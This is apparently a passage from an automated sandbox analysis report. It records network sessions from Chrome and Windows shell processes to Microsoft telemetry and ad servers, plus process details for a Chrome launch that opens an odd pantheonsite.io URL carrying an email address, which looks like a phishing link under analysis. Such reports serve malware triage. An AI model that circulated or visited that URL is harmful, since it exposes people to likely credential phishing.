85 192.168.2.4 49895 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:17 UTC 5275 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid
=128000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install
&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162904Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:17 UTC 5276 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 38b85809-ad24-4a1e-b838-53ace8adadb6
Date: Thu, 25 Nov 2021 16:29:16 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

86 192.168.2.4 49896 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:17 UTC 5276 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9P6RC76MSMMJ&skuId=0010&installKind=
Install&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162905Z 
HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:17 UTC 5277 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 21d285c3-4f09-45f8-84d5-85c206c26bc1
Date: Thu, 25 Nov 2021 16:29:16 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

87 192.168.2.4 49897 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:17 UTC 5277 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NBLGGH6J6VK&skuId=0010&installKind=
RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=2021112
5T162907Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
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2021-11-25 16:29:17 UTC 5277 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: a454ecb0-5828-4e17-a94f-3fb3ceef2a7e
Date: Thu, 25 Nov 2021 16:29:17 GMT
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

88 192.168.2.4 49898 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:18 UTC 5278 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid
=128000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install
&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162908Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:18 UTC 5278 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 5d6eeb4b-032a-4f4e-810c-92dc4ff3aada
Date: Thu, 25 Nov 2021 16:29:17 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

89 192.168.2.4 49899 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:18 UTC 5278 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ct
id=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=20211125T162909Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:18 UTC 5279 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 926d56a8-eec4-4015-bb26-2506ead84dda
Date: Thu, 25 Nov 2021 16:29:18 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.4 49734 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:32 UTC 92 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4683
Host: login.live.com

2021-11-25 16:27:32 UTC 92 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1
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2021-11-25 16:27:32 UTC 108 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:32 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 30d13d64-f0c6-45ee-9e8c-b46665772371
PPServer: PPV: 30 H: BL02PFE369DDF74 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:32 GMT
Connection: close
Content-Length: 10109

2021-11-25 16:27:32 UTC 109 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

90 192.168.2.4 49900 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:18 UTC 5279 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid
=128000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFHWD2&skuId=0010&installKi
nd=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=2021
1125T162910Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:18 UTC 5280 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 4df873d5-d7c4-471b-b7f2-4642d45b9a14
Date: Thu, 25 Nov 2021 16:29:18 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

91 192.168.2.4 49901 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:18 UTC 5280 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=80d89a1a53594a95999603c5b1ef6dad&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=DC80827EA27E32E89319C2C90EDF85D6&itemId=9WZDNCRFHWD2&skuId=0010&installKind=
RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7ce082eac3534ff581e52b293cda5133&time=2021112
5T162911Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2021-11-25 16:29:18 UTC 5281 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: cf03494a-e9b6-4911-aba9-f7941d49b86a
Date: Thu, 25 Nov 2021 16:29:17 GMT
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

92 192.168.2.4 49902 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:29:31 UTC 5281 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20211125T162930Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=3e0c752818ee4a3bab0acd30c642a1d0&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1269976&metered=false&nettype=ethernet&npid=sc-
310091&oemName=iipced%2C%20Inc.&oemid=iipced%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=iipced7%2C
1&tl=2&tsu=1269976&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32068&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAU+CVBfQcFvEv2DZI9cfqZBAbEzGMAAbujVbCDVptmlt968P3qCdflDmM4DtYY
v+w7BbmmDR1diN6waiXW6pf+OMQuk05FkO4mXhhkJDXwVvlK8Qgnl7d6wmUc2PCpOTIxQENqHpwJI/vVV02mx8K3cL
fymGDG14uf+/fr6vWCJEFTXwqT1tagj4uwu1v+DDNorzsJAUbwdr8tiNqW5YSTTfES8Smc4E0t2BMC2L3Z23e3MTnG
JNKlxcPbjqYS665huso5k0Sq7BHpyvK4jlhdyDElufoTPXIqkDvVKbg/grQUNsRHZi3cIHxoLRLzOAdEd9T4rFAqy2
gP1RVT5W4pFRoflNOIy+fJaovyRKTztYpmgRikBMgDZgAACJU/EpcxYcROqAEOnhRS1LiiT5EJbT8+vb59u9AAJGtf
rUUMU4Ou0jN9kKhfnhDfKQzyo072jnT5NZ36xe6g4f4v5ZDpje9DbXh+owKkkApeYJ9ixLGLJOWtfR21qqmfA6sn38
QOv1Ba29FR0AKGStbcEEXd2DiWRhlaaBYOqHDhHU954sOmhwzCk5PCuLw1uWWmKFefJz3oWAS4Su3Gbg
xPQIUOtZ17K53kfNIOb5CgruefgTdI6w6nn89vLdwNqFF8Xr2wnOiV746L+EAEKs9sHEs03XgT4X2I5GJZ70MndTsV
I6k7VW6DpmBraxUkf1GLLMO27LmXDj6vs9zvjzxe31mL61fQHs+c7/m0i0G4uamQIKMKItQ2LgLwPDPOSqYZrnoOxD
J1SGMfgRtm6SJ/Ow01pUWVNIBIWgGsiiEy2ALU+X9kEQYoeELCG311iJs5xw+4dvYYaWN6vjLOERFW2LSGjlwerOSi
MzRzDzXcJkOtmUtuppXWrDqXhx+z8KhSHLFuaLdUcunhPLTM1eGFGFrJ05a1ACLxNuZTe48bC7f5ck28XsSO+9s8Nt
bWWh3B1QE=&p=
Cache-Control: no-cache
MS-CV: LiLpRMiFzUCSSzig.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2021-11-25 16:29:31 UTC 5283 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: R81/4JwCKYhEzKuupk9ZWNVzwS1RnI+NLEdgIDK6nREqOdmZKmSgH3p6u/qprXah6xo9j3GKoaX2szh
Xxu3GdN0bEKuY5AiH9qZDA1W+oYH/47zkPJ+GnTJyDc6qfi9ESKZi2Z7r47pk6W9t6D1+ifOqsIjnj+Tg3LnBvZIJp
Wj9NyN88aq/DT3J+QYTspGuOP+jcUmWFJSuQ282RJLOtK2SLFg0qHZ8erOZcCbt1m2TgM7HxihQ61gEq20cHWxOUWN
k09bhz81LjG8OZ/UPIdSFM8UorkIGo6fYWii6bkwFyMjLoRQghCgfE29aX6HKMU5wQmXkMaSbLKRBYzsdVA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 25 Nov 2021 16:29:30 GMT
Connection: close

2021-11-25 16:29:31 UTC 5284 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 31 2d 31 31 2d 32 
35 54 32 30 3a 32 39 3a 33 31 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2021-11-25T20:29:31"}}
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Disassembly

Code Analysis
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 17:27:40

Start date: 25/11/2021

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-
automation  "https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html#info@axactor
.fi

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Start time: 17:27:41

Start date: 25/11/2021

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
network.mojom.NetworkService --field-trial-handle=1516,4420456876074646514,13506
022257163107156,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-
service-sandbox --mojo-platform-channel-handle=1920 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Show Windows behavior

Analysis Process: chrome.exe PID: 6892 Parent PID: 612Analysis Process: chrome.exe PID: 6892 Parent PID: 612

General

Key Value ModifiedKey Value Modified

Analysis Process: chrome.exe PID: 7144 Parent PID: 6892Analysis Process: chrome.exe PID: 7144 Parent PID: 6892

General
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